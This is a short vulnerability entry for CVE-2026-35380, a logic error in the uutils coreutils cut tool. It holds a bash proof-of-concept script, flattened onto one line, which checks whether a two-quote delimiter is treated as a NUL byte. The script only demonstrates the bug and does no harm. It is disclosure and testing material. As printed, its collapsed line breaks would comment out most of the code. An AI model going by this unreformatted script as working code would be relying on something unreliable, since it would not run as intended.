CVE-2026-35380: uutils coreutils cut逻辑错误漏洞

#!/bin/bash # PoC for CVE-2026-35380: uutils coreutils cut logic error # This script demonstrates that "''" is interpreted as NUL delimiter echo "[*] Testing uutils cut with literal '' delimiter" # Create a file with NUL bytes (hex \00) to simulate data echo -ne 'part1\x00part2' > /tmp/test_data.txt echo "[+] Content of test file (hex representation):" hexdump -C /tmp/test_data.txt echo "[+] Attempting to cut using -d '' (two single quotes)" # Vulnerable versions will treat '' as NUL delimiter # Expected behavior (if fixed): treat as literal '' or error # Vulnerable behavior: splits on \x00 OUTPUT=$(cut -d "''" -f1 /tmp/test_data.txt) if [ "$OUTPUT" == "part1" ]; then echo "[!] Vulnerability Confirmed: Data was split on NUL byte. Output: $OUTPUT" else echo "[+] Not Vulnerable or behavior different. Output: $OUTPUT" fi